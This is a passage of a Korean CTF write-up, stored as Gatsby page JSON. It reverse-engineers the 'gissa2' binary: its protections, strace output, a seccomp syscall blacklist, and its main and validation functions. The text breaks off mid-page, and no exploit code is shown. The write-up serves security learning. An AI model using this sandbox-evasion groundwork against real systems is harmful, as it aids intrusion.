{
    "componentChunkName": "component---src-templates-blog-template-js",
    "path": "/midnightsun_gissa2_ctf_writeup/",
    "result": {"data":{"cur":{"id":"3a6ce68e-5f38-5cbe-a8a3-fd593d70a17d","html":"<h1 id=\"취약점-분석\" style=\"position:relative;\"><a href=\"#%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D\" aria-label=\"취약점 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>취약점 분석</h1>\n<h2 id=\"바이너리-개요\" style=\"position:relative;\"><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EA%B0%9C%EC%9A%94\" aria-label=\"바이너리 개요 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>바이너리 개요</h2>\n<h3 id=\"보호기법\" style=\"position:relative;\"><a href=\"#%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95\" aria-label=\"보호기법 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>보호기법</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 631px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 15.555555555555555%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAW0lEQVQI12MId4nyMnM017fzs/d3NbBXVTVWVDNRIoyMldUtGTwCorWMjBVU1fVNdEyMdVRU1eRU1OQJI1UFVW0GF49QJTVNRQ1tKXdLKWtjORUNeaKQuoKqLgBg6h2pBLV3ogAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./0.png\"\n        title=\"./0.png\"\n        src=\"/static/a636dbdc556a047761b1872da2658275/4597d/0.png\"\n        srcset=\"/static/a636dbdc556a047761b1872da2658275/e9ff0/0.png 180w,\n/static/a636dbdc556a047761b1872da2658275/f21e7/0.png 360w,\n/static/a636dbdc556a047761b1872da2658275/4597d/0.png 631w\"\n        sizes=\"(max-width: 631px) 100vw, 631px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>보호기법</p>\n<ul>\n<li>NX</li>\n<li>PIE</li>\n<li>RELRO</li>\n</ul>\n<h3 id=\"바이너리-정보\" style=\"position:relative;\"><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EC%A0%95%EB%B3%B4\" aria-label=\"바이너리 정보 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>바이너리 정보</h3>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">gissa_igen<span class=\"token punctuation\">:</span> ELF <span class=\"token number\">64</span><span class=\"token operator\">-</span>bit LSB shared <span class=\"token builtin\">object</span>\nx86<span class=\"token operator\">-</span><span class=\"token number\">64</span><span class=\"token punctuation\">,</span> version <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>SYSV<span class=\"token punctuation\">)</span>\ndynamically linked\ninterpreter <span class=\"token operator\">/</span>lib64<span class=\"token operator\">/</span>ld<span class=\"token operator\">-</span>linux<span class=\"token operator\">-</span>x86<span class=\"token operator\">-</span><span class=\"token number\">64</span><span class=\"token punctuation\">.</span>so<span class=\"token punctuation\">.</span><span class=\"token number\">2</span>\nBuildID<span class=\"token punctuation\">[</span>sha1<span class=\"token punctuation\">]</span><span class=\"token operator\">=</span>734a8aeeff274eb59ee3c7ac733056d95b41e80f\nstripped</code></pre></div>\n<h2 id=\"바이너리-분석\" style=\"position:relative;\"><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EB%B6%84%EC%84%9D\" aria-label=\"바이너리 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>바이너리 분석</h2>\n<p><strong>메인 출력</strong></p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 38.888888888888886%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABb0lEQVQY02Ow9UiwD8iy900290i2dI2y9ko0c42xcouw8kmzcAoxcY62cA4zcYlV0XfWtvBTN/NRVDdSVDOAIAazop1GBVsMonvMyvcZJE63aDhvkL7UvPyAUeFWk9w1lq03jbNXmpftNS3dbZK5xLr9joqZu5yCvLyqpryKOoNx6VHj2nM6MVOMivdohXUY1V02qjimn7/TpP6KSeVJ/dyNppUnTZvvaUf1qftX66SvgGiTV9GUV9Fg0I+dapC+RC92kmHGcv3oPsP0RXrRvdqRPbqJszWDGlTtIrXCO3TTlmr4lqo6JqpYB8vJy8mrasmraIA0GxhZ6hkYqGloqWtq6egZaOnqaWrryCooycoryCkoyimryUHYSiogpKwGtlkDqtnRLcDWyU1D10hORUNWSV1OWUNOWQOkQlULrA7GgLBVEDohmv0s7ZwcXb009QxlldVh6jSIQQwunkF2zu5O7j5a+saySmpEaoNoBgBPcHVZnsMwFAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./1.png\"\n        title=\"./1.png\"\n        src=\"/static/53855baa56ab5c7215d0d1e075b65838/37523/1.png\"\n        srcset=\"/static/53855baa56ab5c7215d0d1e075b65838/e9ff0/1.png 180w,\n/static/53855baa56ab5c7215d0d1e075b65838/f21e7/1.png 360w,\n/static/53855baa56ab5c7215d0d1e075b65838/37523/1.png 720w,\n/static/53855baa56ab5c7215d0d1e075b65838/4e6ec/1.png 827w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>메인 출력 부분</p>\n<ul>\n<li>바이너리를 동작할 경우 <code class=\"language-text\">flag (1/3)</code> 문자열을 출력하면서 사용자의 입력 값을 받기 위해 대기 상태에 있는다.</li>\n<li>사용자가 입력을 할 경우 만약 공백이면 <code class=\"language-text\">try again</code> 문자열을 출력하면서 재 입력을 한며 카운터가 증가하지 않는다.</li>\n<li>사용자가 입력을 할 경우 만약 입력 값이존재 한다면 어떤 로직을 바탕으로 검증을 하여 틀리게 되면 <code class=\"language-text\">is not right</code> 문자열을 출력하면서 카운터가 증가 한다.</li>\n</ul>\n<p><strong>system call 추적</strong></p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 36.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABmElEQVQY0xXLS2vUQAAA4PyRJLvJZPLOJNlHYrZ5TTI7eWyS1e3utmCRQkG20IeIq1iU/oL21JNSClIQPPTqXXoTDx78PVL4rh/TrQ6rbknqBaZdkFBvhySkzYr5JC2jrPZDEsTUC/NRgK1BAFTUkwxO1FkRQK1mFqv9Zt7RakYozadTWhS0rGhZ5ISEcTwYjca+Nxh7zjhAQ9/1Ag25UEd9CDRrxuRn9/HRdXpyF72+CTdfs9PbcPMFn33D5/fB0c341dXk9LuZvQQShIYNdQQNpBiuIEPdahj7wx/j+AGd/zQ3P+yPv9H20f70194+2u9+uZf/1L0r8/hBGE7ZXp8TFU6A7BOZFfqSWjDO7mej22rzC7l+ozZvYXkid+9htJbTA/X5BUz2xWctJwAWKByQeaDwQOWBxokC1Epmd7muZ2WaxFOMSZqSJMnjOEtw4PtDZDmWbeqm7YwQciVJFZ4+5IHMiTzUKNMsDot2r6DLhq6q/EVXrmuyaOiywHO8U6WTMo8qEjclbiMvR4bfA5YgOT2gKnr7HwSkbfvpE3ztAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./2.png\"\n        title=\"./2.png\"\n        src=\"/static/2b6dea829e551bf0ea742d12b98c25de/37523/2.png\"\n        srcset=\"/static/2b6dea829e551bf0ea742d12b98c25de/e9ff0/2.png 180w,\n/static/2b6dea829e551bf0ea742d12b98c25de/f21e7/2.png 360w,\n/static/2b6dea829e551bf0ea742d12b98c25de/37523/2.png 720w,\n/static/2b6dea829e551bf0ea742d12b98c25de/eba85/2.png 1054w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>strace</p>\n<ul>\n<li>system call을 추적한 결과 <code class=\"language-text\">stat</code> 함수가 ‘/home/ctf/flag’ 파일의 상태 여부와 <code class=\"language-text\">open</code> 함수를 바탕으로 읽기 전용으로 데이터를 읽어오는 것을 확인할 수 있다.</li>\n<li>밑 분을 잘 보면 <code class=\"language-text\">prctl</code> 함수의 인자로 <code class=\"language-text\">PR_SET_SECCOMP</code> 을 전달하여 seccom 보호 기법을 사용하는 것을 확인할 수 있으며 <code class=\"language-text\">SECCOMP_MODE_FILTER</code> 모드를 사용하여 블랙리스트 기반으로 접근제어를 하고 있다.</li>\n</ul>\n<h2 id=\"seccomp_mode_filter-list\" style=\"position:relative;\"><a href=\"#seccomp_mode_filter-list\" aria-label=\"seccomp_mode_filter list permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>SECCOMP_MODE_FILTER LIST</h2>\n<ul>\n<li>david942j 개발한 seccomp-tools를 활용하여 블랙리스트를 확인하였다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 61.11111111111111%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACKklEQVQoz3XOW2vTYADG8X6R5s05eZemh5wPTZpD06TJbLKZzXUHq6VdhxRx2Ck6ZLtWVMQLEUGGqCAyvVPYwHmhV3o1/UBjg8EcDv63P56noA7fapN9cfmJuv5Vuv7SuP9TGOyYkz1p/Ekd7xoPfsuD19rGgTjY0e98F0fvAYqjdAVQkGCNgnBzT9o+LC0/E2994bqPxK2/wsZBdfJN2joU7/6o3d6XNn+J23/oaFxa+8im9xCAAAoiJIkzSmEqf1gZf+aWnpeG72D3KTf6ABcec9delQZv2HST8vrcyovyjV3K7bHTExQKAKcACRGSwhm1oJmuWdf1uikrsqyqmq7RDENQFIoBjCQxikExDKAA4ASC4YBkTzrFbjhjN6MgyZpJGs/M5Us92bBNNzAbnqCqvCiXBBWWRYRgAAXP4yDOvTBOsrzdmc3mulcHq5rl2l5ohH5JVKqSTkK+iNOn7NxyK7P9VhB3/Gi6nc7miyuyYVtuq9rQeFmR9QbL1y7EQZz7J8tRZzab7y73h2rdcYNY9E1eUWTdprny8ef/YstLLC8IkjPL5vFyxVI5WRBkE5aFC7HXmvHCJMnmos7lbH5xpb+qWZ7bTATf5DVVMRxYFoo4A0h4pimEpHFGK9h+2/KdIIn9dpRkab64IOla3XGrjgQ1vipJvFBDCPzfiCIBMLpW8FoDP+y1L42i6WGSruUL66bT9YKe4V6BYourtvlaTEOPOp/DcukRruCxvxyVJoQAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./3.png\"\n        title=\"./3.png\"\n        src=\"/static/48f1fad9731c6cae39260260a3e21d49/37523/3.png\"\n        srcset=\"/static/48f1fad9731c6cae39260260a3e21d49/e9ff0/3.png 180w,\n/static/48f1fad9731c6cae39260260a3e21d49/f21e7/3.png 360w,\n/static/48f1fad9731c6cae39260260a3e21d49/37523/3.png 720w,\n/static/48f1fad9731c6cae39260260a3e21d49/a1dd2/3.png 838w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>SECCOMP_MODE_FILTER LIST</p>\n<ul>\n<li>블랙리스트 기반으로 차단된 리스트를 확인한 결과 <code class=\"language-text\">open</code>, <code class=\"language-text\">clone</code>, <code class=\"language-text\">fork</code>, <code class=\"language-text\">vfork</code>, <code class=\"language-text\">execve</code>, <code class=\"language-text\">creat</code>, <code class=\"language-text\">execveat</code> 함수가 차단되어 바이너리상에서  호출이 불가능하다.</li>\n</ul>\n<h2 id=\"main-함수-분석\" style=\"position:relative;\"><a href=\"#main-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\" aria-label=\"main 함수 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>main 함수 분석</h2>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 54.44444444444444%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACCUlEQVQoz3WRz0/bMBzFXe2ye7U/YpftsutO+7MRp0kgDgg2CoXSpqRN2ySOHdvxjzhx/CZaYIiNJ330tWTpve+zSZIobDYKWaZRli0YO8D5X8rSYb3W4LyDqAOkCBAiRCl7FIXXvy7V96sr/fniQn0hea5AKQNjBoxFSIk9zuFF1g6HMK5hugZcteDSwZguatPBuv7xjBAiyG73aFjv04uiQ11HMB7hPSCEhlIKtGpAqwHrlcJ8XmK53iIrdijyOvJCI/geQ4z7cMJ4D9m0+J+M1kCMELVHQR3oukF5IyCyCmKbR7ktoVIWHTexD4jeD5Fs7hTWkwp8RaEER2M1GtNAGQXKKXzwsLaHtQFdF9H1w356j9j3gGqCTtL2R/pgv6ap/UaWM4ds2SBNStzNSxScgTc1KsVQ6xq2t/Bdj74Pb/Y/dHQuyJOf7GOSGPLwYAnZrgzq3KGuJARTsHULL1sg/PsEMcbXxMOHBTmd6k9nZ4Lsdu0HUi4Nkt8S5TZHmWeoNhKOagTTIr4xeTZ9mi+G19fN+PZWE0r9iLBUgU624PcbqISiuuWwKw6dCeisRnAdhggMQ3zL3tOYICeTZjydalIUfkQ468Cow9A9dozP5V7xrvaXIUQ5m5nxYmGIEP2InJ7WuLxUmN0b3M8NFgt7IHliYd4jJonFzY2WR0fV+PiYkfNzOfoDK+gyV7VA4h8AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./4.png\"\n        title=\"./4.png\"\n        src=\"/static/0b457abfea4a60ff1f1de5e45820781b/37523/4.png\"\n        srcset=\"/static/0b457abfea4a60ff1f1de5e45820781b/e9ff0/4.png 180w,\n/static/0b457abfea4a60ff1f1de5e45820781b/f21e7/4.png 360w,\n/static/0b457abfea4a60ff1f1de5e45820781b/37523/4.png 720w,\n/static/0b457abfea4a60ff1f1de5e45820781b/8efc2/4.png 828w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>main 함수</p>\n<ul>\n<li>바이너리가 strippe 되어 있지만 기본적으로 함수들이 syscall 하는 방식으로 동작하여 각각의 함수들이 어떤 함수인지를 유추할 수 가 있다.</li>\n<li>제일 처음으로 호출되는 <code class=\"language-text\">syscall_filter()</code> 함수는 <code class=\"language-text\">prctl</code> 함수의 인자로 <code class=\"language-text\">PR_SET_SECCOMP</code>  을 사용하여 활성화를 하는 로직임을 확인할 수 있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 692px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 47.77777777777777%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMklEQVQoz4WO3YqDMBCFff8H2hco9KZdaOlVy6JR26jRdoxJZsa/ZLHeLWw9HIYZOB9nouOxORzq200XxdOYsa67LKsAEABfLweAWjPiTOT/GHGOylJIKQAUsyNyWsPz2TCjc3Ych75nREe0nNYaROecRXRdp5kpyrIsSdK6bpyb2rYzb1m7Ttu2bdeZvu+ZmYjWhZkRcRiGSIg4jpOqzBG/xrEJIRCNxvTODfPsw0dFSRLHcVwUlRA/w2BDCPe7BiCiyW+wYW2Oi0I9ZCBa4o9Hxzx6P03TtAGn6VKtlPLer39KabR2ZVkAwAac57kQqVJ1CGGFy9JpjVWl2laHELz/11FV5VJmWj/fuQVuGmTuAZS1eqN5v7/tdtfv71wITlPMMj6dmstFnc/yeoU0pQ/+BSZ/OzYm/GuyAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./5.png\"\n        title=\"./5.png\"\n        src=\"/static/a75d94593b3dce87df3cc4a73eb9f756/91e7e/5.png\"\n        srcset=\"/static/a75d94593b3dce87df3cc4a73eb9f756/e9ff0/5.png 180w,\n/static/a75d94593b3dce87df3cc4a73eb9f756/f21e7/5.png 360w,\n/static/a75d94593b3dce87df3cc4a73eb9f756/91e7e/5.png 692w\"\n        sizes=\"(max-width: 692px) 100vw, 692px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>main 함수 지역 변수</p>\n<ul>\n<li><code class=\"language-text\">sub_73E</code> 함수는 해당 140 바이트 짜리 buf 배열을 인자로 사용하는데 내부 데이터를 전부 0으로 만든다.</li>\n<li>다음 루프에서는 cnt+3을 하게 되는데 해당 cnt 값은 0으로 초기화되어 있는 상태이며 3번 루프를 돌 것으로 분석된다.</li>\n<li>루프가 될 기능을 살펴 보면 <code class=\"language-text\">flag ( i-cnt / 3)</code> 형식으로 출력되는 것을 확인할 수 있으며 해당 루프에서 빠져 나가지 않는 이상 계속 카운팅 되는 것을 확인할 수 있다.</li>\n<li><code class=\"language-text\">sub_91E</code> 함수의 인수 로 <code class=\"language-text\">buf</code>, <code class=\"language-text\">&amp;size</code>, <code class=\"language-text\">&amp;cnt</code> 를 사용하여 호출되면 반환된 값으로 루프의 종료 조건으로 들어가는 것으로 보아 해당 함수에서 특정 로직으로 검증 여부가 존재한다는 사실을 알 수 있다.</li>\n</ul>\n<h2 id=\"sub_91e-함수-분석\" style=\"position:relative;\"><a href=\"#sub_91e-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\" aria-label=\"sub_91e 함수 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>sub_91E 함수 분석</h2>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 30.555555555555554%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABaElEQVQY0yWPS27bMBRFuYJupYMU6CBdQGddTVaXScZNiiAQ4spuDDuxJMsSSX0oiZQo6hRyHnDwcIF7B0ecTg1FsWLQ2tF1jr5fGWmagTz/RMkepSx1M4WmmZByVFHU/Twc7Nc47r59fNib+3t5I7JMU5YarT1aQdd9sp73kKSB7c6SSEmSDZwrSTmUy6WR1NWEMQ7vw7UfRQYhZY1SEq0nLgWUEsoSpgmMGciOHXE08jdq2O0Mb4dieXvPuah6qWvnjQm+bYOHxb++Gi/qesCYEWsXbOux9cRkZ+Y5kOeKZKOJf1ds/qQkqaGuRvpuXuwwY2242qx28zzz8tIi8txjXaAsPdm2pfjXUl0a3NjhvWMOMLjAMFvGaR0uVz83BrXf97+KYvheFPaHUv724UHfiqenlufnijg2bOKe/aHnlDiSxJFljiy1nDPHORuvOU1dWP/xOJzv7rZfjsdeLEsQ3iMeHxvxH8FfuJFk7GtyAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./6.png\"\n        title=\"./6.png\"\n        src=\"/static/ea8a8b708738701be91b6c07a4b9cbf2/37523/6.png\"\n        srcset=\"/static/ea8a8b708738701be91b6c07a4b9cbf2/e9ff0/6.png 180w,\n/static/ea8a8b708738701be91b6c07a4b9cbf2/f21e7/6.png 360w,\n/static/ea8a8b708738701be91b6c07a4b9cbf2/37523/6.png 720w,\n/static/ea8a8b708738701be91b6c07a4b9cbf2/715a3/6.png 830w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>strlen</p>\n<ul>\n<li><code class=\"language-text\">sub_777</code> 함수의 인수 값으로 <code class=\"language-text\">qword_202000</code> 사용하며 해당 부분은 main 함수에서 <code class=\"language-text\">syscall_filter</code> 함수 내부의 open 함수를 바탕으로 <code class=\"language-text\">/home/ctf/flag</code> 파일의 문자열인 것으로 파악된다.</li>\n<li><code class=\"language-text\">sub_777</code> 함수는 내부적으로 바이트 단위로 주소 번지를 이동하면서 해당 카운팅된 값을 정수 형태로 반환하는 것으로 보아 <code class=\"language-text\">strlen</code> 함수임을 인지할 수 있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 381px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 62.77777777777778%; position: relative; bottom: 0; left: 0; background-image: 